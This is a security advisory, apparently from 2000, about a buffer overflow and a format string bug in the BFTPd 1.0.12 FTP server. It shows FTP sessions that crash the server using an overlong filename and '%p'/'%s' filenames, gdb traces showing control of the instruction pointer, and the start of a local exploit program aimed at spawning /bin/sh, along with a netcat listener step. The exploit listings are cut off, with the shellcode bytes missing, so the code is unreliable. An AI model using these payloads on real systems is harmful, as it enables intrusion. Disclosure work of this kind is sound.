Potential security problems in BFTPd (Buffer overflow, Format bug, Exploit)
11 Dec. 2000
Summary
BFTPd is a Linux FTP server with chroot and setreuid. Not all FTP commands are included. It accesses either the user's home directory or its ftp subdirectory, and user authentication is made via /etc/passwd, /etc/shadow or PAM.
The latest version of BFTPd has several potential security problems in the functions "sendstrf" and "dirlist" inside the "distlir.c" file when the generated file by the output of the LIST and NLST commands is above 200 chars or holds strings form type %p%p%p%p.
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1858 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 02:53 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAA
421 Service not available, remote server has closed connection
ftp>
2 - gdb output
tshaw:/home/cb# gdb /usr/sbin/bftpd 29751
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29751: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29751
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x $esp
0xbffffadc: 0x41414141
(gdb)
b) Format bug in the NLST command
1 - demo
tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> nlist
200 PORT 127.0.0.1:1865 OK
150 Data connection established.
. .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49
226 Directory list has been submitted.
ftp>
$ touch "%s%s%s%s%s%s%s"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1869 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 03:00 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 03:00 %s%s%s%s%s%s%s
226 Directory list has been submitted.
ftp> nlist
200 PORT 127.0.0.1:1871 OK
150 Data connection established.
. .. 421 Service not available, remote server has closed connection
ftp>
2 - gdb output
# gdb /usr/sbin/bftpd 29526
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29526: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29526
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4008d196 in vfprintf () from /lib/libc.so.6
(gdb) where
#0 0x4008d196 in vfprintf () from /lib/libc.so.6
#1 0x40099f76 in vsnprintf () from /lib/libc.so.6
#2 0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")
at dirlist.c:26
#3 0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')
at dirlist.c:63
#4 0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')
at commands.c:314
#5 0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324
#6 0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482
#7 0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129
#8 0x400602e7 in __libc_start_main () from /lib/libc.so.6
(gdb)
Exploit:
It's not possible to exploit it with a standard exploit, since bftpd-1.0.12/login.c contains a piece of code using the "chroot" and setregid functions, and denying the execution of /bin/sh or another programs by a local user.
The remote exploit isn't possible.
(If we disable the chroot function in login.c, the exploit works, so the possibility is there)
With the following exploit, we can request BFTPd (run by the user "cb") to run the /bin/sh command.
-- BEGIN exploit.c --
/*
Creates a filname to exploit the bug in bftpd 1.0.12
Create the file, cwd in the shell directory and nlist the file directory.
Coded by korty <cb@grolier.fr>
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#define LEN 205
int main (int argc, char **argv)
{
char buf[LEN + 12];
int ret = 0xbffffa80;
int *p;
int fp;
char code[]=
/*
* Linux/x86
*
* toupper() evasion, standard execve() /bin/sh (used eg. in various
* imapd exploits). Goes through a loop adding 0x20 to the
* (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
*/
Run netcat on the port 1028 (nc -l -p 1028) and use that program
-- BEGIN list.c --
#include <stdio.h>
int main()
{
#define USER "cb"
#define PASS "PasSwoRd"
#define PORT "port 127,0,0,1,4,4" // Data on the port 1028 with the addr 127.0.0.1
#define CWD "cwd longfile"
#define LIST "list"